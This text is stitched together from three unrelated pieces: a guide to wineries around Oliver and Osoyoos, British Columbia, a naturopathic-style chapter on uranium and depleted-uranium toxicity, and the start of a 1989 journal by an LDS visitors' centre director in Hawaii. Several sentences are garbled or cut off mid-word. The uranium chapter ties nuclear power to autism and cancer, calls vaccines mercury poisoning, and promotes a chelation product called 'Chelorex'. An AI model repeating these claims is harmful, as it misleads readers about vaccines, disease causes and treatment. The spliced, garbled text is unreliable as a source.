incorporates his French heritage into the wines. The French Door Rosé made with Mourvèdre and Grenache resembles the elegance of a traditional Provence style Rosé; dry and richly textured, with a soft pink hue. Madevon shared, “From the beginning, I have had the honour of helping French Door Winery with their vision; to make high-quality wines right here in the South Okanagan that celebrate our remarkable climate and unique terroir. Just as importantly, we have adopted a low-intervention winemaking process to grow a fully sustainable vineyard and serve the most honest wines.” In the Tasting Room if you’re feeling hungry you can pair your wine flight with Fancy Cocktail Nuts, Temper Chocolates or Sal de Ibiza Chips. Hester Creek Estate Winery 877 Rd 8, Oliver, 250-498-4435 Curt Garland is the owner of Hester Creek Estate Winery, which opened in Osoyoos Wine Country in 1996. Garland shared, “Over fifty years agoifera grapes were planted on the then 76 acre property.” Several of the original varietals planted by Joe have thrived over the past half century with the Pinot Blanc, Trebbiano, “Italian Merlot” and Cabernet Franc flourishing at Hester Creek Estate Winery. These old vines have an intensity and certain elegance about them that cannot be reproduced and bring a sense of old world Italy to the popular vineyard in Oliver, British Columbia. Visit Hester Estate Winery and you’ll find a property designed to pay homage to wineries in Tuscany. “In addition to the winery’s design, we have the Tuscan-inspired Villa accommodations and Tuscan-inspired restaurant with Terrafina,” said Garland. Mark Hopley has been the winemaker at Hester Creek Estate since 2013. One of the wines he is most excited with is Syrah, which blends grapes from the estate with some from a long time local grower. “It’s a co-ferment, made the way Syrah is traditionally done in its Rhône Valley home, with the addition of a small amount of Viognier. What that does, is lift the aromatics. The Viognier adds delicate floral notes and a lush mouth feel to an earthy wine rich with black cherry, plum, and pepper notes, with hints of bacon and toasted coffee. Full-bodied yet elegant, this wine sells out year after year,” explained Garland. One of our most interesting wines is the Old Vine Pinot Blanc, which is a consistent gold medal winner at competitions across North America. “It is fragrant with peach, nectarine, and apricot notes as well as hints of honey, minerality, and sagebrush. The grapes for this are from a really old block on our vineyards, Block 4, which was planted in 1968. They’re these gnarly old vines, and with age, you get less fruit hanging and more intensity in the finished product,” Hopley explained. If you’re looking to eat at an Osoyoos Winery restaurant Hester Creek’s Terrafina is a popular fine dining option in Oliver. The menu celebrates locally grown ingredients with handcrafted, Tuscan inspired cuisine by talented Chef Adair Scott. Hester Creek also offers intimate farm-to-table cooking classes in a state of the art winery kitchen. Black Hills Estate Winery 4190 Black Sage Rd, 250-498-0666 Black Hills Estate Winery has been producing premium wine in Oliver since 1999. In 2017 ownership was taken over by Andrew Peller, a celebrated name in the Niagara on the Lake Winery community. The name Black Hills Estate Winery comes from its location, the famed Black Sage Bench. This bench of land is covered in the prominent sage brush, which is what the region itself is named for. While it has been making wine for 22 years, Black Hills Estate Winery only opened its Wine Experience Center for seated wine flights in 2012. The buildings were designed by architect Nick Bevanda and feature a sleek modern design, with materials like concrete, floor to ceiling glass windows and black steel beams. The Oliver winery was awarded the Lieutenant Governor’s Award for Architectural Excellence and is the only estate to have received this accolade in Canada. The vineyards are located on the Black Sage Bench, which is considered some of the most coveted grape growing land in the country. The founders of our winery planted their first vineyard here, called Sharp Rock Vineyard, in 1996. Jesse Collins, Estate Manager at Black Hills Estate Winery shared, “Our winemaker Ross Wise MW is a New Zealand native. Ross joined our team in 2019 and has been instrumental in implementing our shift to organic viticulture. He believes in minimal intervention in the winemaking process and has pushed Black Hills Estate Winery into a new chapter over the past few years, with naturally occurring fermentation and showcasing fruit purity through fermenting in vessels like concrete and neutral oak. The style of wine that we are known for at Black Hills is French inspired, with Rhone Valley inspiration influencing our white wine portfolio and Syrah, as well as a Bordeaux take on our most infamous wine, Nota Bene.” In Latin nota bene translates to “take note.” The wine is a blend of Cabernet Sauvignon, Merlot and Cabernet Franc, and while it is an exciting wine to taste each summer upon release, it is showing at its absolute best after a few years in the cellar. “If you have the right conditions at home to cellar wine, we recommend bottle aging anywhere from 5- 15 years, depending on your desired style of wine. Each Fall we host a Nota Bene Vertical Tasting, giving our Wine Club members the opportunity to taste the older vintages and look back in time at each harvest, and how the quality and style has evolved over our more than two decades of winemaking. We celebrate this wine’s release with our annual Nota Bene Release Party, an evening of exquisite wine and food paired to unique entertainment and live music,” said Collins. If you’re visiting the wineries in Osoyoos during the high season, stop by Black Hills Estate Winery for a snack. From mid-June to mid-October they serve a variety of Spanish tapas and charcuterie alongside wine flights, out of the Vineyard Kitchen. Burrowing Owl Estate Winery 500 Burrowing Owl Pl, 250-498-0620 Established in 1997 and built the following year, Burrowing Owl Estate Winery straddles the north tip of the Sonora Desert. Home to bluebirds, bats, meadowlarks, bears, bighorn sheep and of course, burrowing owls, the Oliver winery uses alternative pest control systems to safely deter indigenous species from grazing in the vineyards. Celebrated viticulturist Jim Wyse began replanting the vineyards in 1993 with no plans for a winery. However, the recognition given to wines made with his grapes inspired Wyse to build his own winery. Today, the grounds include not only a gravity flow system and a temperature-controlled cave/cellar, but also a beautiful wine shop, a tasting bar, a luxurious 10-room boutique hotel, 25 meter outdoor swimming pool and award-winning fine dining restaurant. Burrowing Owl owns 140 acres of vineyards and produces between 28,000 and 30,000 cases of wine each vintage. The estate produces nine wines, entirely from grapes harvested from their own vineyard holdings. Red wines produced are made from Cabernet Franc, Cabernet Sauvignon, Merlot, Pinot Noir, Syrah and a Meritage blend. White wines worth sampling include Chardonnay and Pinot Gris. Platinum Bench Estate Winery 4120 Black Sage Rd, 250-535-1165 Platinum Bench Estate Winery is located on the Okanagan’s premier growing destination, the Black Sage Bench in Oliver. The unique micro-climate of desert sand on a western slope achieves some of the highest growing heat degree days in the valley. Hot summer days ripen the grapes. Cool evenings allow the vines to balance and advance structure to the fruit. Platinum Bench is a local favourite and uniquely stands out from other wineries in the area for its onsite artisan bakery. We arrived shortly before 11am and there was already a long line of people waiting to purchase hot bread rolls right out of the oven. The bread is prepared outside, within a screened in porch, so you can eye the bakers whipping around as they remove steaming loaves from 6 ovens. Platinum Bench offers a unique wine tasting experience where red, white and rose are served alongside a slice of one of their popular breads. Once you’ve finished sipping be sure to take home a fresh roll. Our favourites included the Double Cream Brie and Pear Preserves, Gorgonzola with Fig and Asiago. Jackson Triggs Okanagan Estates 7857 Tucelnuit Drive, 250-498-4500 Ontario wine lovers visiting vineyards in Niagara will be familiar with Jackson Triggs as they have a jaw-dropping estate that hosts a summer concert series at an on site outdoor amphitheatre. If you’re visiting Oliver, BC make sure to pop by Jackson Triggs Okanagan Estates to see what wine bottles they’re popping in the South Okanagan. You’ll find a spacious patio out front and a cozy tasting room inside. Jack. Some of our favourite wines at Jackson Triggs Okanagan Estates include the Grand Reserve Chardonnay, Grand Reserve Cabernet Sauvignon and Reserve Riesling Icewine. You May Also Enjoy These Winery Guides… - Best Vancouver Island Wines & Wineries - Best Cowichan Valley Wineries on Vancouver Island - Victoria Wineries: Best Saanich Peninsula Vineyards - Best Denman & Hornby Island Wineries - Best Niagara on the Lake Wineries - Best Niagara Wine Festivals - Beamsville Wineries: Best Vineyards Near Toronto - Best Wineries in Prince Edward County Le Vieux Pin 5496 Black Sage Rd, 250-498-8388. Le Vieux Pin’s vineyard strategy is an acknowledgment of the Old World with a gust of New World. Low-input viticulture is the method Le Vieux Pin uses to achieve that aim. Dry farming, minimal fertilizer addition, high-density plantings and extremely low yield allows vines to show their true nature. Le Vieux Pin employs a blend of organic and bio-dynamic practices called “non-interventionism.” Le Vieux Pin in Oliver is the sister winery to La Stella Winery, located a short drive south towards Osoyoos. Both wineries are operated by entrepreneurs Sean and Saeedeh Salem. The Salem’s first opened Le Vieux Pin in 2006. The estate features six vineyards: Le Grand Pin, Deadman Lake Vineyard, Le Feuille D’or, Stagg’s, U2, and Crowley, though Le Vieux Pin does not own Deadman Lake Vineyard. In total, the Le Vieux Pin has 50 acres of land, shared with its sister winery, LaStella. The red wines that Le Vieux Pin produces are primarily made from Syrah while the whites are Viognier, Roussanne, and Marsanne. Tinhorn Creek Vineyards 537 Tinhorn Creek Rd, 250-498-3743 Tinhorn Creek Vineyards was founded by Kenn and Sandra Oldfield and Bob and Barb Shaunessy in 1993. What started with a couple of barrels in the basement of a house and a few acres of vines has grown into a thriving winery. Nestled in the hillside of a former gold mining creek, Tinhorn Creek Vineyards sits unrivaled on top of the Golden Mile in Oliver, and offers a truly unique wine experience. Visitors will find a lush vineyard with views of the grape crush pad, and impressive interior galleries overlooking the stainless-steel tanks, oak barrels and the cellar below. The self-guided tour of the winery and vineyard enables visitors to stay as long as they wish and provides ample opportunities to learn more about the winemaking process. We suggest planning a visit between May and August when the winery hosts a Canadian concert series. The Grand Finale concert in September is a real showstopper! We’re giving Tinhorn Creek Vineyards the award for best Oliver Osoyoos winery restaurant with a view! The wrap-around patio at Miradoro Restaurant offers unparalleled views of the valley. Book yourself a romantic Mediterranean-inspired lunch or dinner and you’ll enjoy market cuisine prepared with fresh local ingredients. Pair award-winning Reserve Cabernet Franc with Albondigas Meatballs or a spicy Diavolo Pizza. Phantom Creek Estates 4315 Black Sage Rd, 250-498-8367 Phantom Creek Estates first opened in June, 2020. It’s one of the newest and most exciting vineyards to explore in the Oliver BC Wineries region. Guests arrive by strolling towards two eye-catching statues that greet oenophiles with wings outstretched over the desert sky. Phantom Creek represents the vision of the Bai family to build one of the leading wineries in Canada. It was a quest that led them to the Black Sage Bench and two of the Okanagan’s historic vineyards: Phantom Creek and Becker Vineyards. Today, Phantom Creek focuses on single-vineyard Bordeaux reds, Alsatian whites and the Okanagan’s benchmark varieties of Viognier and Syrah from storied vineyard sites. Phantom Creek Estate Winemaker Mark Beringer works with grapes that are farmed naturally, organically and biodynamically. You can sample Beringer’s wine at the Oliver winery’s chic tasting room or outside on a sprawling patio with a panoramic view. In June, 2022 Canada’s 100 Best Restaurants ranked The Restaurant at Phantom Creek Estates as #20 best restaurant in Canada. It’s the only restaurant in the region featured on the list so a must try for visiting foodies.!

Age Related Uranium (mcg) Exposure Uranium is genotoxic and carcinogenic and is associated with a whole range of harmful health effects. The medical and environmental consequences of contamination with uranium compounds present both a moral and professional responsibility to the medical profession. The increased use of uranium compounds in industry, and more recently in warfare in the form of depleted uranium, necessitates a further look into the complex biomedical aspects of internal contamination with uranium and its toxicological consequences, both as a heavy metal and radiological hazard. Uranium is a lustrous, silvery, heavy, radioactive and polyvalent metallic element found extensively in nature which eventually disintegrates into lead. It is present in air, water, and food, and thus most people come into contact with it, and consume tiny amounts of it daily. Uranium is a heavy metal similar to tungsten, lead, mercury, and cadmium. Its toxic chemical characteristics as a heavy metal are independent of its radiological characteristics. Thus all isotopes of uranium exhibit the same chemical behavior (reactivity) and possess identical physical characteristics, such as melting point, boiling point, and volatility. Because naturally occurring uranium, enriched uranium, and depleted uranium vary only in their isotopic mix, they are chemically identical and exert the same chemical effects on the body. It is very important to note that depleted uranium (DU) oxides formed at high temperatures from the use of DU armaments are not the same as DU metal or any other metallic form of uranium.[1] The uranous ion produces a toxic effect on the living cells by inhibiting the processes of metabolism of carbohydrates by the inhibition enzyme systems, particularly hexakinase at the sites of ATP surface-building through magnesium-hexokinase mechanism.[2] Early studies (Gmelin 1824) at the University of Tübingen on the biological effects of uranium indicated that uranium salts given by mouth present a hazard as a mild poison causing death only after intravenous injection. Intravenous administration of 600 mg of uranyl nitrate or 180 mg of uranyl chloride killed a dog within a minute.[3] There have been 2,000 nuclear detonations on our planet since Hiroshima; over five hundred of them conducted above ground casting uranium and other radioactive substances into our atmosphere. Then there are events like Three Mile Island and the huge disaster at Chernobyl. Though these accidents and above ground tests seem to be far removed from the present they are not. Background radiation levels have increased and many of the harmful medical effects are still waiting to manifest. Radiation does its dirty work quite slowly when it comes to low level exposures, but its effect is cumulative. New exposures amplify the biological vulnerabilities already created by older exposure. Also there are the nuclear power sites around the world, which are more than accidents waiting to happen. They are back holes on our world, locations destined to be shut down after sixty or seventy years of use and ordained to be surrounded by millions of tons of concrete in an effort to seal them off from the rest of the environment. Already at these sites are ever increasing mountains of radioactive substances that no one on earth has found a safe way of disposing of.[4] However, as we have seen, the American and British governments think it’s safe to take some of this radioactive waste and put it into conventional armaments, and shoot them at people. And unbeknownst to the public, is that even when these plants are operating normally they are spilling radiation into the environment. Most of us though are conditioned only to worry about a nuclear accident, a melt down or a nuclear fire. The cost to big government is going to be a great deal higher than anyone has ever imagined when the full nuclear tab comes due. Through the ages and generations to come, people will curse the extreme shortsightedness of our present crop of leaders who have led us to the gates of atomic hell. The Russians had first hand experience with atomic hell when on April 26, 1986 a region populated by about two million people in Chernobyl, Ukraine, was devastated by an explosion and meltdown at their nuclear power plant. The Chernobyl accident contaminated large parts of the Soviet Union and Europe. Radioactivity was ultimately detected everywhere in the northern hemisphere. Mobilizing the military and evacuating hundreds of thousands of residents, the emergency cleanup effort involved nearly 750,000 soldiers and firemen. Of those many emergency workers, some say over half are now dead, and over 250,000 more are dying from various types of cancer. Greenpeace has estimated that the total death toll total was 100,000. This epic human tragedy led the Soviet society on a desperate search for ways to detoxify and protect their people from radiation poisoning, yet we find even the Russian authorities trying to deny the staggering cost in human terms. The total amount of radiation emitted from the explosion was 200 times that of the atomic bombs dropped on Hiroshima and Nagasaki. The European Committee on Radiation Risk Independent on Sunday investigation published in London on April 22, 2006, shows that at least 34 per centains – will only “decline slowly over the next few hundred years”.[5] Cancer Course A COURSE IN NATUROPATHIC ONCOLOGY Conquering Cancer Greenpeace has reported that during these last 20 years there have been 200 “near misses” to melt downs cited in US Nuclear Regulatory Commission (NRC) documents, eight of which were considered significant risks of core meltdowns.[6] Greenpeace says, “As U.S. corporations contemplate building more nuclear reactors, it is important that our government regulators remember Chernobyl and speak honestly and forthrightly about the very real dangers posed by splitting atoms. Nuclear reactors are, by their very nature, inherently dangerous. Each reactor has the potential to devastate the state or region in which it operates.” The medical community must acknowledge that there are powerful winds of denial regarding uranium exposure and its dangers, just as there have been with other toxic substances like mercury, lead, arsenic and fluoride. This is a world wide phenomenon that was spearheaded by the American government and the industrial corporations that stood behind it. In the 1950’s the U.S. government, under the administration of Dwight Eisenhower, started a large propaganda campaign to show the world that nuclear weapons, radioactivity, and radiation were not harbingers of death, but were instead.”[7] Thomas Edison abandoned the new field of radiology quickly, when he recognized the risks involved. The great majority of us were fooled by the government. Those who were not, have done their homework and are tapping us on our shoulders telling us that these reactors, even during normal operation, are spilling radiation into the environment, and that this ‘safe’ or ‘non-existent’ radiation is killing kids with cancer.. Study results were obtained by comparing trends in Ocean and Monmouth County cancer incidence rates of children. In the normal operations of nuclear plants, the evidence is there for rising infant mortality and damage to the newborn. “Infant mortality is the most sensitive indicator of radioactive pollution,” according to Leuren Moret who is part of the group studying such frightening things. Moret reports. Cancer rates increase most sharply in areas closest to the nuclear reactors demonstrating clearly that a wrong turn was made that threatens not only us but future generations to come. When one looks at breast cancer statistics plotted out geographically one also sees this disaster in focus. The nations nuclear reactors are leaking and women are losing both their breasts and their lives for it and the medical establishment says nothing still worrying, as it usually does, only about viruses. SAT scores plunged in the early days of above grown nuclear testing showing neurological effects and even autism can be linked, in part, to nuclear generated power. We in the autism area have mostly plotted out the dramatic rise in the 1990s beloved children. Human cells exposed to uranium bond with it and these other heavy metals and the resultant biochemical reaction can cause genetic mutations, which in turn can curtail cell growth and potentially trigger cancer. All of this has slammed head on into a nutritional disaster that has our kids severely malnourished even while they are eating plenty. This all comes together in synergistic fashion to create a poisonous field of such potency its amazing any child lives through it. It seems lost on the federal government that no nation can survive in the long run if it continuously damages the mental ability of its newborn children. But it continues to do this like a beast eating its own young, destroying its own future, as it continues to say these toxic metals and radioactive substances and atomic plants are safe when they are not. The primary cause of death from acute radiation injury is usually infection by normal pathogens during the phase of manifest illness. Even minimally symptomatic doses of radiation depress the immune response and dramatically increase the infectivity and apparent virulence of biological agents. Thus it is said that biological weapons may be significantly more devastating against an irradiated population. This depressive influence on immune response is the same influence that complicates other heavy metal toxicity as mentioned above. According to Dr. Boyd Haley, biliary excretion of mercury, possibly explaining the genetic susceptibility.” Both mercury and uranium sit in the environment like invisible clouds that have spread out everywhere. With mercury we have doctors and dentists taking it upon themselves to expose people to huge increases of mercury by either injecting it directly with vaccines, or using it as a dental filling. With uranium we have the United States and Britain blowing the ‘stuff ‘up in distant battlefields only to have the radioactive poisons drift around the world. According to Leuren Moret, the famous Livermore Lab nuclear whistle blower, a case is easily made for radiation causing the geometric rise of cancers in the US.-1 in 3 Americans compared to 1 in 20 before the Second World War It is also, in part, responsible for the rise in autism, learning disabilities, chronic immune deficiency disorders (chronic fatigue syndrome, Epstein-Barr and so forth), higher rates of infant mortality and the general weakening of the public’s health. The difficulty lies in isolating one poisonous cause from another since there has been a great rise in thousands of chemicals that are all mixing together in peoples’ and even newborns’ blood streams. It should be clear though, that everything done with radioactive substances is dangerous to mankind. (See next chapter)The newest risk is coming from depleted uranium (DU) weapons and the huge tonnage of material already spilled across four battlefields. Though greatly concentrated in local war theatres. – U.S. Army Report 1995 Two major health concerns are related to the use of DU in military applications: heavy-metal toxicity effects and radiation effects. For both health issues, many factors will determine whether a health effect may result. These factors include the toxicological dose (how much and how long), route and magnitude of exposure, and location of embedded fragments or vapor particles. In addition, other factors including age, sex, diet, family history, health status, and lifestyle may affect the overall health effects of exposure. Lastly is the heavy metal contamination from other metals. The synergistic effect between chemicals and heavy metals is the single greatest reality that burdens each of us today. Many scientists and the government itself strongly deny any ill effects from depleted uranium, and one almost has to be a physicist to join the discussion and take an educated position. What seems a universal characteristic about the denial is, that the true characteristics of depleted uranium when used on the battlefield, is dramatically changed after the uranium is burned at high temperatures and turned into a number of different oxide compounds of incredibly small size. We shall see more of this in the following chapter. It’s not dangerous until it blows up. Depleted uranium is pyrophoric. When depleted uranium burns, it releases a radioactive gas. It behooves us to look at what causes radiation poisoning. There are four kinds of radioactive materials. They are alpha particles, beta particles, gamma rays, and neutron rays. You may be exposed to any of these materials accidentally, either in a purposeful act, or as a dirty bomb. Alpha particles: Alpha particles lose energy very quickly in the air. By the time they are an inch or two (2-5 centimeters) away from their source they have become harmless. Alpha particles only go through skin with open cuts or sores. Alpha particles are stopped by any clothing or even a piece of paper. If alpha particles are breathed in, swallowed, or get into a cut or sore on your skin, they may harm you. Uranium produces alpha particles. An alpha particle is heavy, has a very short range and is extremely damaging to cells causing cancer, degenerative conditions and chromosomal defect, resulting in birth defects in the offspring of exposed people. The big and unreported danger of alpha particles is from ingested uranium for the uranium particles emit their radiation directly into the local cell tissues. Beta particles: Beta particles can travel several feet (1 meter) in open air. They can burn your skin because they can go through skin for up to about an inch (2 centimeters). Beta particles are easily stopped by any solid material, including heavy clothing. Beta particles are most dangerous if they are breathed in, swallowed, or get into a cut or sore on your skin. Gamma rays: Gamma rays are higher energy. They are not particles. Gamma rays travel at the speed of light. They can travel hundreds to thousands of yards (meters) before their energy is gone. Gamma rays can pass through many kinds of materials, including human beings. Gamma rays are stopped only by distance, or very dense materials like lead. Like alpha and beta particles, gamma rays can be inhaled from the air or swallowed with a food or water source. Gamma rays may affect organs like the liver and stomach, and other parts deep in your body. These rays destroy tissue and cause sickness and death. Neutron rays: Neutrons are usually the result of fallout. Fallout happens after an atomic blast. The ground absorbs a lot of radiation after an atomic blast. The exposed radioactive ground then rises as a cloud (fallout) and neutrons are carried by winds to other places. Neutrons can be inhaled from the air or swallowed with a food or water source. Neutron radiation damage does not appear to be dose-rate dependent. The US State Department and the Department of Defense categorically state that there is no link between DU and the diseases veterans, who have been exposed during the recent gulf wars, are suffering from. These governmental departments conveniently choose to omit the fact that Alpha emitters (radionuclides that emit alpha radiation) are classified as carcinogenic by all nuclear regulatory and environment health agencies. Cellular effects of radiation. Radiosensitivity also tends to vary inversely with the degree of differentiation of the cell. Thus Dr. Jawad Al-Ali, head oncologist at the Saddam teaching hospital in Basra reported, “Children in particular are susceptible to depleted uranium organs for uranium chemical toxicity. Nephrotoxicity is a chemically related risk associated with uranium exposure, and has been documented in animal studies at high exposure levels. Like mercury, cadmium, and other heavy-metal ions, excess uranyl ions depress glomerular function and tubular secretion of organic anions. According to the National Academies, “Type 2 diabetes is reported to be increased in Native American populations. A disproportionately high fraction of uranium miners were Native Americans. The complications of diabetes include CRD (Chronic Renal Disease), which cannot be differentiated clinically from effects of high doses of uranium in the kidney.”. One of the biggest problems though, to looking at the health damages done by uranium exposure, has been the government’s blatant refusal to acknowledge any damage done to the body until it shows up as renal dysfunction. The December 2000 Science for Democratic Action — from the Institute for Environmental and Energy Research (IEER) — reports that, “Some [DU] particles remain in the body where they can build up in lung [tissue], or enter the blood stream where it can accumulate in bone tissue.” Internal exposure, the IEER article says, “increases the risk of leukemia and lung, bone and soft tissue cancers, particularly when inhaled or ingested.” Iraqis and Kuwaitis aren’t the only ones showing signs of uranium contamination and sickness. Gulf War veterans, plagued by a variety of illnesses have been found to have traces of uranium in their blood, feces, urine and semen. Dr. Jawad Al-Ali reported that there are nine people with cancer in his wife’s family..” These types of multiple cancer cases are being reported in Yugoslavia, Afghanistan and Iraq, all nuclear battlefields where DU armaments were used. For the leadership in the United States the thought of Iran getting the bomb sometime in the next decade is an excuse for war today, because when all is done, these elite decision makers are going to protect themselves, their companies, their profits, etc. And if it takes killing another 50,000 children or a million to protect their estates they probably would not think twice since most of their money is blood money, money created on the suffering of others. What difference is it to them if they poison people slowly or more quickly with radiation released during nuclear war? When war eventually breaks out in Iran you will be wishing that you had read up on everything to do with radiation poisoning and what to do about it, because nuclear war has been reclassified as conventional with the use of depleted uranium weapons. Every war now fought by the United States will be a nuclear war. Since there is no credible source indicating that we are entering a phase of history where wars will not be fought we have a lot to worry about. There is nothing easy about the diagnosis of heavy metal poisoning and medical authorities have been known to make fun of doctors who test for heavy metals, and design treatment programs to chelate out these metals including uranium. In following chapters we will talk about chelation and introduce a natural product called Chelorex that has been thoroughly tested for the safe removal of many of the heavy metals including uranium. In reality there is something we can do about the increased toxicity every human being is being exposed to and this book will explore the most natural of these methods, which can include even the increased use of something as simple as miso. Below is a list of diseases possibly caused by depleted uranium, which was compiled by Leuren Moret from interviews with Gulf War Vets and their families. The problem here is that all of these veterans received a massive number of vaccines bearing dangerous chemicals. There is though a central medical theme, soldiers are being poisoned, first as they leave for the battle field with up to 17 vaccine shots, and then on the battlefield with deadly radiation. Put the two poisoning sources together and medicine has to be deaf, dumb and blind not to see the effect. Unfortunately for veterans suffering from the below list of diseases (Gulf War Syndrome) medicine is so afflicted. [1] Toxicologically speaking, there is a difference between uranium oxide and uranyl nitrate. Uranyl nitrate, including the hexahydrate form, is soluble in water and moderately soluble in the body. This means that if ingested or inhaled, it will readily be transported to the rest of the body. It can also be absorbed through the skin. Its high toxicity is largely manifest in irreversible kidney damage. Uranium oxide, on the other hand, is largely insoluble. Only respirable particles deposited in the pulmonary region of the lung are retained for long enough for the radiological consequences to manifest themselves. The concentration of uranyl nitrate required to deliver the radiation dose limit for soluble uranium compounds is larger than the toxicity-based concentration limits. Therefore, for soluble uranium compounds, health consequences of exposure are primarily due to their chemical toxicity. For insoluble compounds of uranium, health consequences (e.g., fibrosis and/or carcinogenesis of the lung) are primarily due to irradiation of pulmonary tissues from inhaled respirable particles. [2] Hodge HC, Maynard EA, Downs WL. Antidotal action of polyphosphates in uranium poisoning. J Pharmacol Exp Ther 1951;101:17-8.The adsorption process results in the sixth glucose carbon atom interacting with a phosphate atom of ATP, with negatively charged glucose-6-phosphate re-entry inhibition through a negatively charged point of entry at the cell surface. A uranyl ion replacing a magnesium ion binds the ATP molecule to hexokinase. ATP-uranyl-hexo- kinase complex blocks the release of phosphate to glucose, inhibiting its first step of metabolic utilization with non-metabolized glucose in the extracellular environment [3] Gmelin CG. Versuche über die wirkungen des bartis strontians, chroms, molybdäns, wolframs, tellurs, titans osmiums, platins, iridiums, rhodiums, paladiums, nikels, kobalts, urans, ceriums, eisens und mangans auf den tierishen organismus. Journal für Chemie und Physik (Halle) 1825;43:110-5. [4] The “Nuclear Fuel Management and Disposal Act” (S. 2589) was introduced in the Senate in April of 2006 by Pete Domenici (R-N.M.) James Inhofe (R-Okla.) and would eliminate health and safety laws and regulations for licensing and operating the controversial nuclear dump site at Yucca Mountain in Nevada. No one on earth has found a safe way to store nuclear waste but already we have the government removing limits on the amount of nuclear waste to be buried at the dump. [7] Arjun Makhijani and Scott Saleska, THE NUCLEAR POWER DECEPTION; U.S. NUCLEAR MYTHOLOGY FROM ELECTRICITY “TOO CHEAP TO METER” TO “INHERENTLY SAFE” REACTORS (New York: The Apex Press, 1999) ISBN 0-945257-75- Radiation and Public Health Project. One of the main problems with radiation exposure is the loss of glutathione enzyme which then results in greater retention of toxic chemicals in the fatty tissues of the breast. These are environmental pollutants like PCBs, pesticides, and various lipid soluble chemicals. As these chemicals become involved in the mitochondria’s enzyme production processes, the oxidative stress to the cell rise leading to the failure of the “2-5A RNase L” enzyme that control pathogens within the cells. As this enzyme fails various viruses and mycoplasma’s take over the cells and produce their own cytokines that promote blood vessel growth and rapid cell multiplication. This becomes the cancer tumor. Most internal contamination is a result of inhalation. The skin is impermeable to most radionuclides. Wounds and burns create a portal for any particulate contamination to bypass the epithelial barrier. All wounds must therefore be meticulously cleaned and debrided when they occur in a radiological environment. Any fluid in the wound may hide weak beta and alpha emissions from detectors. The main renal site of action of uranium is the proximal tubule where proton secretion degrades the bicarbonate complex of the uranyl ion, permitting the uranium ion to react with the apical cell membranes of the tubular epithelium. This view is supported by the observation that alkalinization of the urine increases urinary uranium excretion. Daily War News for Tuesday, April 18, 2006; Leuren Moret is an independent scientist who works on radiation and public health issues with communities around the world. She. After working 5 years at the Lawrence Berkeley National Lab and two years at the Livermore nuclear weapons lab, she left Livermore and now dedicates her life to revealing and understanding the actual health effects of radiation exposure. Ms. Moret works with the Radiation and Public Health Project [], a group of independent scientists who have written ten books on low level radiation and public health.

Reflection during 1989 while serving as Director of the LDS Vistors’ Center at the Hawaii Temple JOURNAL of PAUL E. FELT 1989 Wednesday, March 15, 1989 I was reared in a very good Latter-Day-Saint home. My parents seldom missed a meeting, and thus it became easy for me to follow their example and attend my meetings. A part of their exemplary training was the fact that it was assumed and often taught that, at the appropriate age, Paul would go on a mission. In fact, I can’t think of a time in my childhood, or later boyhood, when I wasn’t planning a mission. When I turned nineteen, I was also caught up in some freshman classes at the University of Utah which led me to postpone my mission. My great Bishop, William F. Pershon, stands out as one of the great influences for good in my life. He kept in regular touch with me, encouraging me to prepare and go on a mission. As I recall, my reply always was, “Bishop, I’m going, but before I do, I want to get a year or two of school.” I mistakenly followed my own desires and not the counsel of the Bishop, with the result that for two years, from ages 19-21, I was a mixed up young man wrestling between two basic options, a mission or school. In an effort to help sort out some of these struggles, I began keeping a journal about a year before I went on a mission. It was the journal, together with regular contacts from the Bishop and encouragement from parents and much prayer, that finally led me to go on my mission in April of 1937. Throughout my mission I kept a journal and have them today, together with the journal prior to my mission. I regret that, since that time of my youthful mission (1937-1939), I have seldom kept a journal. And now, as I sit in my mission office as the Director of the Visitors’ Center at the Hawaiian temple grounds, I’m resuming my much belated journal responsibilities. Fortunately, throughout our married years, my wonderful eternal companion has kept a journal which, for a number of years, we referred to as the Felt Family log. Each time I would see my wife making an entry, I would go on my little guilt trip and say to myself, “I must do what my dear wife is doing.” Now, after these many years, I am getting around to a journal again. As I do, perhaps I could pick it up for a quick overview of our years since 1974. It was July 1, 1974 that my family and I completed a three-year mission where I was serving and presiding over, initially, the Southwest Indian mission which, midway through the three years, became the New Mexico-Arizona mission. This realignment came about because I recommended that we no longer have what was then a segregated American Indian mission, but to make it an integrated mission wherein, given its geographical area, I would be presiding not only over the American Indians, but all people who fell into my boundary mission. A year following my return from the mission, I was called in about 1975 to serve as a Branch President at the Language Training Mission. At that time, President Max L. Pinegar, who was just released from a Dutch mission, was called to succeed President Hansen who had passed away. Shortly after President Pinegar became Language Training Mission President, he got permission to organize eight branches. I was one of those eight Branch Presidents. One year following that service, I was called to serve as the First Counselor to President Max L. Pinegar and did so until 1980. President Pinegar was released six months prior to that date, and President Joe Christensen was called and he invited me to continue to serve as the First Counselor. I did so until such time as I was called to serve as one of the directors of Israel’s semester abroad. Six years later, President George D. Durrant was called to preside over the Language Training Mission in April of 1986 and, once again, I was called to serve in the Presidency, this time as First Counselor to President Durrant. Since his call was for two years, ours also was a two-year call. President Durrant’s successor, Ed J. Pinegar, invited me to serve, which we did, but only for a four-month period. It was intended to be a two-year call and we were prepared to serve for two years, but a month or two before I was released, Elder Robert Sackly invited me in to conduct what he called, “A Background Check.” He indicated the need for a Director at the Temple Visitors’ Center in Hawaii, which he said was one of the strategic areas in the Church. Naturally, my wife and I agreed to go wherever we would be called. On October 20, 1988, Afton and I had our official call from President Ezra Taft Benson. The letter in part, reads: Dear Elder Felt: You are hereby called to serve as a missionary of the Church of Jesus Christ of Latter-Day-Saints. You are assigned to labor in the Hawaii-Honolulu mission. It is anticipated that you will serve for a period of 24 months and in addition to your calling to share the gospel with non-members, you will be assigned to serve as the Director of the Hawaii Temple Visitors’ Center. We were further instructed to report to the Missionary Training Center on February 1st for two-and-a-half weeks of training, following which we would go directly to our assigned mission. It was very interesting for Afton and I to go through a training program that we had watched for a number of years as a member of the Presidency. In the Missionary Training Center, our first two calls with Presidents Max L. Pinegar and Joe Christensen was on a Church service call basis, but when we were called to serve with Presidents Durrant and Pinegar, we were called as full-time missionaries, both my wife and I. As I served in the Presidency, she served in a variety of callings and the one that was most rewarding was a call that enabled her to replace a full-time employee looking after the needs of support missionaries. Support missionaries were those who came from different parts of the world, usually third-world countries, where there was a need for the missionary to be provided for financially in order to go on a mission. These were marvelous and good years for Afton and I. We found the training program to be very instructive, productive and intensive. During a good part of the training, we were meeting exclusively with twelve other newly called Directors of Visitors’ Centers in specialized training and classes. We completed training on February 16, 1989 and then departed by air for Hawaii on February 20th. As I dictate these items for the journal, we have now completed three weeks in Laie, Hawaii. Tuesday, March 28, 1989 I have allowed three weeks to go by without a journal entry. I will attempt to cover three weeks and then hereafter make weekly entries. During our second week, we continued to meet at some 